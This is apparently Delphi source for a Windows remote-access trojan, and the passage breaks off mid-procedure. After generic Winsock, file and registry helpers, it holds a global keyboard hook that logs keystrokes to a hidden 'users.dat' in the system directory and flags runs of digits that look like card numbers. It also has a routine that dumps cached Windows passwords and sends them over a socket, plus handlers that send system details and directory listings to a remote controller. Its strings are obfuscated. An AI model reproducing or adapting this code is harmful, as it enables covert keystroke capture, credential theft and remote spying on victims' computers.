function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall';
function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking';
//function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup';
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
type
  TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup'));
      if @LListen <> Nil then
        Result := LListen(wVersionRequired, WSData);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup';
function WSACleanup: Integer; stdcall;
type
  TListen = function: Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup'));
      if @LListen <> Nil then
        Result := LListen;
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet';

function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD;
  nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped;
  lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile';
function AcceptEx(sListenSocket, sAcceptSocket: TSocket;
  lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength,
  dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD;
  lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx';
procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer;
  dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD;
  var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer;
  var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs';

function WSAMakeSyncReply(Buflen, Error: Word): Longint;
begin
  WSAMakeSyncReply:= MakeLong(Buflen, Error);
end;

function WSAMakeSelectReply(Event, Error: Word): Longint;
begin
  WSAMakeSelectReply:= MakeLong(Event, Error);
end;

function WSAGetAsyncBuflen(Param: Longint): Word;
begin
  WSAGetAsyncBuflen:= LOWORD(Param);
end;

function WSAGetAsyncError(Param: Longint): Word;
begin
  WSAGetAsyncError:= HIWORD(Param);
end;

function WSAGetSelectEvent(Param: Longint): Word;
begin
  WSAGetSelectEvent:= LOWORD(Param);
end;

function WSAGetSelectError(Param: Longint): Word;
begin
  WSAGetSelectError:= HIWORD(Param);
end;

procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet);
var
  I: Integer;
begin
  I := 0;
  while I < FDSet.fd_count do
  begin
    if FDSet.fd_array[I] = Socket then
    begin
      while I < FDSet.fd_count - 1 do
      begin
        FDSet.fd_array[I] := FDSet.fd_array[I + 1];
        Inc(I);
      end;
      Dec(FDSet.fd_count);
      Break;
    end;
    Inc(I);
  end;
end;

function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean;
begin
  Result := __WSAFDIsSet(Socket, FDSet);
end;

procedure FD_SET(Socket: TSocket; var FDSet: TFDSet);
begin
  if FDSet.fd_count < FD_SETSIZE then
  begin
    FDSet.fd_array[FDSet.fd_count] := Socket;
    Inc(FDSet.fd_count);
  end;
end;

procedure FD_ZERO(var FDSet: TFDSet);
begin
  FDSet.fd_count := 0;
end;


//=== stuff
function IntToStr(A:Integer):string;
begin
  Str(A,Result);
end;

function StrToInt(const S: string): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
  if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]);
end;

procedure AppMsg(Ms:PChar);
begin
MessageBox(Handle,Ms,'Error',0);
end;

//=== Cleanup and stop the program ===
procedure ShutDownServer;
begin
  closesocket(Server);
  WSACleanup;
//  UnRegisterClass(lpzClassName,hInst);
//  Halt;
end;

//=== Process Messages ===
procedure ProcessMessages;
begin
  while GetMessage(Msg2,0,0,0) do
  begin
    TranslateMessage(Msg2);
    DispatchMessage(Msg2);
  end;
end;

//=== Socket things =====
//=== Send a String #0 ===
procedure TSock.WriteString(wParam:word;Buff:PChar);
begin
  send(wParam,Buff^,Length(Buff),0);
end;

//=== Send Buffer ===
function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt;
begin
  Result:=send(wParam,Buff^,Len,0);
end;

//=== Process OnAccept ===
procedure TSock.OnServerAccept(wParam,lParam:longInt);
begin
  accept(Server,nil,nil);
end;

//=== Process OnClose ===
procedure TSock.OnServerClose(wParam,lParam:longInt);
begin
//nothing
end;

function GetLocalHostName: string;
var
  szHostName: array[0..128] of char;
begin
  if gethostname(szHostName, 128) = 0 then
    Result:= szHostName;
end;

//======= sysutils =========
function StrPas(Str: PChar): string;
begin
  Result := Str;
end;

function StrLen(Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

function StrCopy(Dest, Source: PChar): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        NOT     ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,ECX
        MOV     EAX,EDI
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EDX
        AND     ECX,3
        REP     MOVSB
        POP     ESI
        POP     EDI
end;

function StrScan(Str: PChar; Chr: Char): PChar; assembler;
asm
        PUSH    EDI
        PUSH    EAX
        MOV     EDI,Str
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        NOT     ECX
        POP     EDI
        MOV     AL,Chr
        REPNE   SCASB
        MOV     EAX,0
        JNE     @@1
        MOV     EAX,EDI
        DEC     EAX
@@1:    POP     EDI
end;

function DiskSize(Drive: Byte): Integer;
var
  RootPath: array[0..4] of Char;
  RootPtr: PChar;
  SectorsPerCluster,
  BytesPerSector,
  FreeClusters,
  TotalClusters: Integer;
begin
  RootPtr := nil;
  if Drive > 0 then
  begin
    StrCopy(RootPath, 'A:\');
    RootPath[0] := Char(Drive + $40);
    RootPtr := RootPath;
  end;
  if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector,
    FreeClusters, TotalClusters) then
    Result := SectorsPerCluster * BytesPerSector * TotalClusters
  else Result := -1;
end;

function DeleteFile(const FileName: string): Boolean;
begin
  Result := Windows.DeleteFile(PChar(FileName));
end;

function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;

function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if (Index = 0) then
  begin
    if P[Index] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then
      Result := mbTrailByte
    else if P[Index] in LeadBytes then
      Result := mbLeadByte;
  end;
end;

function ByteType(const S: string; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(PChar(S), Index-1);
end;

function LastDelimiter(const Delimiters, S: string): Integer;
var
  P: PChar;
begin
  Result := Length(S);
  P := PChar(Delimiters);
  while Result > 0 do
  begin
    if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then
      if (ByteType(S, Result) = mbTrailByte) then
        Dec(Result)
      else
        Exit;
    Dec(Result);
  end;
end;

function ExtractFilePath(const FileName: string): string;
var
  I: Integer;
begin
  I := LastDelimiter('\:', FileName);
  Result := Copy(FileName, 1, I);
end;

procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
    Windows.FindClose(F.FindHandle);
end;

function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime;
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
      LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;

function FindFirst(const Path: string; Attr: Integer;
  var F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end else
    Result := GetLastError;
end;

function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F) else
    Result := GetLastError;
end;

//=== Registry call ================
constructor TRegistry.Create;
begin
  RootKey := HKEY_CURRENT_USER;
  LazyWrite := True;
end;

function DataTypeToRegData(Value: Integer): TRegDataType;
begin
  if Value = REG_SZ then Result := rdString
  else if Value = REG_EXPAND_SZ then Result := rdExpandString
  else if Value = REG_DWORD then Result := rdInteger
  else if Value = REG_BINARY then Result := rdBinary
  else Result := rdUnknown;
end;

function RegDataToDataType(Value: TRegDataType): Integer;
begin
  case Value of
    rdString: Result := REG_SZ;
    rdExpandString: Result := REG_EXPAND_SZ;
    rdInteger: Result := REG_DWORD;
    rdBinary: Result := REG_BINARY;
  else
    Result := REG_NONE;
  end;
end;

function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean;
var
  DataType: Integer;
begin
  FillChar(Value, SizeOf(TRegDataInfo), 0);
  Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil,
    @Value.DataSize) = ERROR_SUCCESS;
  Value.RegData := DataTypeToRegData(DataType);
end;

function TRegistry.GetData(const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;
var
  DataType: Integer;
begin
  DataType := REG_NONE;
  if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer),
    @BufSize) <> ERROR_SUCCESS then
  //  raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
  Result := BufSize;
  RegData := DataTypeToRegData(DataType);
end;

procedure TRegistry.PutData(const Name: string; Buffer: Pointer;
  BufSize: Integer; RegData: TRegDataType);
var
  DataType: Integer;
begin
  DataType := RegDataToDataType(RegData);
  if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer,
    BufSize) <> ERROR_SUCCESS then
//    raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]);
end;

function TRegistry.GetDataSize(const ValueName: string): Integer;
var
  Info: TRegDataInfo;
begin
  if GetDataInfo(ValueName, Info) then
    Result := Info.DataSize else
    Result := -1;
end;

procedure TRegistry.WriteString(const Name, Value: string);
begin
  PutData(Name, PChar(Value), Length(Value), rdString);
end;

procedure ReadError(const Name: string);
begin
//  raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
end;

function TRegistry.ReadString(const Name: string): string;
var
  Len: Integer;
  RegData: TRegDataType;
begin
  Len := GetDataSize(Name);
  if Len > 0 then
  begin
    SetString(Result, nil, Len);
    GetData(Name, PChar(Result), Len, RegData);
    if (RegData = rdString) or (RegData = rdExpandString) then
      SetLength(Result, StrLen(PChar(Result)))
    else ReadError(Name);
  end
  else Result := '';
end;

procedure TRegistry.CloseKey;
begin
  if CurrentKey <> 0 then
  begin
    if LazyWrite then
      RegCloseKey(CurrentKey) else
      RegFlushKey(CurrentKey);
    FCurrentKey := 0;
    FCurrentPath := '';
  end;
end;

procedure TRegistry.ChangeKey(Value: HKey; const Path: string);
begin
  CloseKey;
  FCurrentKey := Value;
  FCurrentPath := Path;
end;

procedure TRegistry.SetRootKey(Value: HKEY);
begin
  if RootKey <> Value then
  begin
    if FCloseRootKey then
    begin
      RegCloseKey(RootKey);
      FCloseRootKey := False;
    end;
    FRootKey := Value;
    CloseKey;
  end;
end;

function TRegistry.GetBaseKey(Relative: Boolean): HKey;
begin
  if (CurrentKey = 0) or not Relative then
    Result := RootKey else
    Result := CurrentKey;
end;

function IsRelative(const Value: string): Boolean;
begin
  Result := not ((Value <> '') and (Value[1] = '\'));
end;

function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean;
var
  TempKey: HKey;
  S: string;
  Disposition: Integer;
  Relative: Boolean;
begin
  S := Key;
  Relative := IsRelative(S);
  if not Relative then Delete(S, 1, 1);
  TempKey := 0;
  if not CanCreate or (S = '') then
  begin
    Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0,
      KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS;
  end else
    Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil,
      REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS;
  if Result then
  begin
    if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S;
    ChangeKey(TempKey, S);
  end;
end;

destructor TRegistry.Destroy;
begin
  CloseKey;
  inherited;
end;

//== Allocate windows ===
const
  InstanceCount = 313;

Type
TWndMethod = procedure(var Message: TMessage) of object;

type
  PObjectInstance = ^TObjectInstance;
  TObjectInstance = packed record
    Code: Byte;
    Offset: Integer;
    case Integer of
      0: (Next: PObjectInstance);
      1: (Method: TWndMethod);
  end;

type
  PInstanceBlock = ^TInstanceBlock;
  TInstanceBlock = packed record
    Next: PInstanceBlock;
    Code: array[1..2] of Byte;
    WndProcPtr: Pointer;
    Instances: array[0..InstanceCount] of TObjectInstance;
  end;

var
  InstBlockList: PInstanceBlock;
  InstFreeList: PObjectInstance;

function StdWndProc(Window: HWND; Message, WParam: Longint;
  LParam: Longint): Longint; stdcall; assembler;
asm
        XOR     EAX,EAX
        PUSH    EAX
        PUSH    LParam
        PUSH    WParam
        PUSH    Message
        MOV     EDX,ESP
        MOV     EAX,[ECX].Longint[4]
        CALL    [ECX].Pointer
        ADD     ESP,12
        POP     EAX
end;

function CalcJmpOffset(Src, Dest: Pointer): Longint;
begin
  Result := Longint(Dest) - (Longint(Src) + 5);
end;

function MakeObjectInstance(Method: TWndMethod): Pointer;
const
  BlockCode: array[1..2] of Byte = (
    $59,       { POP ECX }
    $E9);      { JMP StdWndProc }
  PageSize = 4096;
var
  Block: PInstanceBlock;
  Instance: PObjectInstance;
begin
  if InstFreeList = nil then
  begin
    Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Block^.Next := InstBlockList;
    Move(BlockCode, Block^.Code, SizeOf(BlockCode));
    Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc));
    Instance := @Block^.Instances;
    repeat
      Instance^.Code := $E8;  { CALL NEAR PTR Offset }
      Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code);
      Instance^.Next := InstFreeList;
      InstFreeList := Instance;
      Inc(Longint(Instance), SizeOf(TObjectInstance));
    until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock);
    InstBlockList := Block;
  end;
  Result := InstFreeList;
  Instance := InstFreeList;
  InstFreeList := Instance^.Next;
  Instance^.Method := Method;
end;

{ Free an object instance }

procedure FreeObjectInstance(ObjectInstance: Pointer);
begin
  if ObjectInstance <> nil then
  begin
    PObjectInstance(ObjectInstance)^.Next := InstFreeList;
    InstFreeList := ObjectInstance;
  end;
end;

var
  UtilWindowClass: TWndClass = (
    style: 0;
    lpfnWndProc: @DefWindowProc;
    cbClsExtra: 0;
    cbWndExtra: 0;
    hInstance: 0;
    hIcon: 0;
    hCursor: 0;
    hbrBackground: 0;
    lpszMenuName: nil;
    lpszClassName: 'TPUtilWindow');

function AllocateHWnd(Method: TWndMethod): HWND;
var
  TempClass: TWndClass;
  ClassRegistered: Boolean;
begin
  UtilWindowClass.hInstance := HInstance;
  ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName,
    TempClass);
  if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then
  begin
    if ClassRegistered then
      Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance);
    Windows.RegisterClass(UtilWindowClass);
  end;
  Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName,
    '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil);
  if Assigned(Method) then
    SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method)));
end;

procedure DeallocateHWnd(Wnd: HWND);
var
  Instance: Pointer;
begin
  Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC));
  DestroyWindow(Wnd);
  if Instance <> @DefWindowProc then FreeObjectInstance(Instance);
end;

//==== Key_log=========================
type
  PGlobalDLLData = ^TGlobalDLLData;
  TGlobalDLLData = record
    hHookHWnd: HWND;
    hKeyHook: HHOOK;
    end;

const
  MMFileName = 'Users';

var
  MapHandle: THandle;
  GlobalData: PGlobalDLLData;
  tt,Logger:string;
  l:textfile;
  cc:byte;

procedure OpenSharedData;
  var
    Size: integer;
    CreateFileMappingError: integer;

  begin
  Size := SizeOf( TGlobalDLLData );
  MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName );
  CreateFileMappingError := GetLastError;

  if ( MapHandle = 0 ) then exit;

  GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size );
  if ( GlobalData = nil ) then
    begin
    CloseHandle( MapHandle );
    exit;
    end;

  if ( ( MapHandle <> 0 )
    and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then
    begin
    GlobalData^.hHookHWnd := 0;
    GlobalData^.hKeyHook := 0;
    end;
  end;

procedure CloseSharedData;
  begin
  UnmapViewOfFile( GlobalData );
  CloseHandle( MapHandle );
  end;

//function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall;
function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall;
  begin
  OpenSharedData;

  Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam );
  if ( code = HC_ACTION ) then
    begin
  if ( lParam > 0 ) then
begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end;
    Result := 0;
    exit;
    end;
end;

procedure KeyHook_Start( hWin: HWND );  //stdcall;
  begin
  OpenSharedData;
  GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 );
  GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 );
  GlobalData^.hHookHWnd := hWin;
  end;

procedure KeyHook_Stop;  //stdcall;
  begin
  OpenSharedData;
  UnHookWindowsHookEx( GlobalData^.hKeyHook );
  CloseSharedData;
  end;

procedure TLog.KeyIncrement( var Msg: TMessage );
const
lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz';
chiffres: array[96..111] of Char = '0123456789*+ - /';
chiffres2: array[48..57] of Char = '0123456789';

var k:integer;
    s:string;

  begin
  k:=msg.WParam;
//writeln(inttostr(k)+' : '+char(k));

if k in [96..111] then s:=chiffres[k] else
if k in [65..90] then s:=lettres[k] else
if k in [48..57] then s:=chiffres2[k] else

if k in [112..123] then s:=#255 else
if k in [33..40] then s:=#255 else
if k = 0 then s:=#255 else
if k > 255 then s:=#255 else

if k = 16 then s:=crypt('=QKMCR9') else //<SHIFT>
if k = 17 then s:=crypt('=AWVI8') else //<CTRL>
if k = 18 then s:=crypt('=COP;') else //<ALT>
if k = 20 then s:=crypt('=ABTV8') else //<CAPS>
if k = 144 then s:=crypt('=LVI;') else //<NUM>
if k = 9 then s:=crypt('=vbf;') else //<tab>
if k = 8 then s:=crypt('=<') else //<>

if k = 223 then s:='!' else
if k = 219 then s:=')' else
if k = 187 then s:='=' else
if k = 221 then s:='^' else
if k = 186 then s:='$' else
if k = 192 then s:='? else
if k = 220 then s:='*' else
if k = 188 then s:=',' else
if k = 190 then s:=';' else
if k = 191 then s:=':' else
if k = 226 then s:='<' else
if k = 222 then s:='? else
if k = 13 then s:='? else
if k = 32 then s:=' ' else
if k = 46 then s:=crypt('=ffh;') else //<del>
if k = 45 then s:=crypt('=kmw;') else //<ins>
s:='['+inttostr(k)+']';

logger:=logger+s;
//write(s);

if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0;

    if (cc=13) then begin
    cc:=0;
    Registre:=TRegistry.create;
    Registre.RootKey:=HKEY_CLASSES_ROOT;
    Registre.OpenKey('.aft',true);
    Registre.WriteString('1','1');
    Registre.Free;
    end;

if length(logger)>200 then
 begin
      if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat
              begin
              assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat
              rewrite(l);
              write(l,' ');
              closefile(l);
              end;

 assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat
 reset(l);
 append(l);
 write(l,logger);
 closefile(l);
 logger:='';
 end;

end;

procedure TLog.LogCreate;
var tyhwnd:thandle;
  begin
  cc:=0;
  tyhwnd := AllocateHwnd(KLog.KeyIncrement);
  KeyHook_Start(tyhwnd);
  end;

procedure TLog.LogDestroy;
  begin
  KeyHook_Stop;
{$I-}
 assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat
 reset(l);
 append(l);
 write(l,logger);
 closefile(l);
 logger:='';
{$I+}
  end;

//=== password connection
function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall;
var
s1 : string;
s2 : string;
begin

  result:=true;
  SetLength(s1,pce^.cbResource);
  Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource);
  s1:=pchar(s1);
  SetLength(s2,pce^.cbPassword);
  Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword);
  s2:=pchar(s2);

write(t,PChar(s1+' : '+s2+#13+#10));
end;

procedure testEnumCachedPasswords;
var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall;
    mpr                     : cardinal;
begin
  mpr:=LoadLibrary('mpr');
  if mpr<>0 then
    try
      WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords
      if @WNetEnumCachedPasswords<>nil then begin
        try
          WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0);
        finally end;
      end;
    finally FreeLibrary(mpr) end;
end;

//===windows_control
procedure killprocess(prname:string);
var
  str : pchar;
  h:hwnd;
begin
  str:=@(prname)[1];
  h := FindWindow(nil,str);
  if h <> 0 then PostMessage(h, WM_QUIT, 0, 0);
end;

{function childproc(h:HWND):bool;stdcall;
var
  tempstring: array [0..255] of char;
begin
GetClassName(h,classe,255);

if (classe=nil) or (classe=string(' ')) then exit;

if classe='Edit' then
begin
sendmessage(h,WM_GETTEXT,255,integer(@tempstring));
if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end;
if counter=2 then writeln(string(klasse));
end;

if classe='TEdit' then
begin
sendmessage(h,WM_GETTEXT,255,integer(@tempstring));
if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end;
if counter=2 then writeln(string(klasse));
end;
end;

function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall;
begin

  If (GetWindowLong(h,GWL_HWNDPARENT)=0) then
     begin
     Getwindowtext(h,klasse,255);

     if klasse<>'' then
     begin
     counter:=0;
     if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h)
     if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse));
     if pos('Opera',klasse)<>0 then counter:=1;
     end;

     end;
if counter=1 then EnumChildWindows(h,@childproc,8);
end; }

function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall;
begin
  If (GetWindowLong(h,GWL_HWNDPARENT)=0) then
     begin
  Getwindowtext(h,klasse,255);
  if klasse<>'' then
   begin
  write(t,string(klasse)+#13+#10);
   end;
  end;
end;

//=== information ===
procedure DoPassword(wParam:longInt);
var pp:string;
    sock:tsock;
begin
assignfile(t,windowsdir+'~tmp..sys');
rewrite(t);
append(t);
testEnumCachedPasswords;
closefile(t);

assignfile(t,windowsdir+'~tmp..sys');
reset(t);
repeat
readln(t,pp);
Sock.WriteString(wParam, PChar(pp+#13+#10));
sleep(Timeout);
until pp='';
closefile(t);
erase(t);
end;

procedure DoAbout(wParam:longInt);
var SI:TSystemInfo;
    OsVer:TOSVersionInfoA;
    MS:TMemoryStatus;
    pp:string;

begin
  ZeroMemory(@OsVer,SizeOf(OsVer));
  ZeroMemory(@Si,SizeOf(Si));
  ZeroMemory(@MS,SizeOf(MS));
  MS.dwLength:=SizeOf(MS);
  OsVer.dwOSVersionInfoSize:=SizeOf(OsVer);
  GetVersionEx(OsVer);
  GetSystemInfo(Si);
  GlobalMemoryStatus(MS);

case Win32Platform of
    WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95';
    WINDOWS.VER_PLATFORM_WIN32s : pp:='32';
    WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT';
end;

Sock.WriteString(wParam, PChar(
  crypt('R{pp`k=')+#13+#10+ //System:
  WSD.szDescription+#13+#10+
  crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS:
  crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU:
  crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU
  crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM
  crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM
  crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt
  crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt
  crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System:
  crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window:
  WSD.szSystemStatus+' '+pp+#13+#10+
  crypt('Impp?&')+getlocalhostname+#13+#10)); //Host:
end;

procedure DoShowDirectory(wParam:longInt;command:String);
var sss,NomDuDossier,DossierTrouve,FichierTrouve:string;
    attributs,Resultat:Integer;
    SearchRec:TSearchRec;
    TailleDuFichier:integer;

begin
attributs:=6;
sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan:
sleep(timeout);

  If command[length(command)]='\' then command:=copy(command,1,length(command)-1);
  Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec);

  while Resultat=0 do
  begin
    if (SearchRec.Name<>'.') and (SearchRec.Name<>'..')
         and ((SearchRec.Attr and faDirectory)>0) then
    begin
      DossierTrouve:=command+'\'+SearchRec.Name;
      NomDuDossier:=DossierTrouve;
//      ProcessMessages;
    end;
if NomDuDossier<>sss then
begin
sleep(timeout);
if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\';
sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D:
end;
sss:=NomDuDossier;
Resultat:=FindNext(SearchRec);
  end;
  FindClose(SearchRec);


  If command[length(command)]='\' then command:=copy(command,1,length(command)-1);
  Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.*

  while Resultat=0 do
  begin
    //ProcessMessages;
    if ((SearchRec.Attr and faDirectory)<=0) then
    begin
        FichierTrouve:=command+'\'+SearchRec.Name;
        TailleDuFichier:=SearchRec.Size;
      //NomFichierComplet:=FichierTrouve;
      //DateHeureDuFichier:=SearchRec.Time;
    end;
    sleep(timeout);
    Resultat:=FindNext(SearchRec);
sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F:

  end;
  FindClose(SearchRec);
sleep(timeout);
sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\
end;

procedure DoStart(wParam:longInt);
var ch:char;
    VolNameStr,Tip:String;
    LW:byte;
    Dsize,NamLen,syslen:integer;
    VolNameAry: array[0..255] of char;
    VolSer,SysFlags : DWord;

begin
Driv:='';
d:=0;
ch:=#97;
sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart:
repeat
d:=d+1;
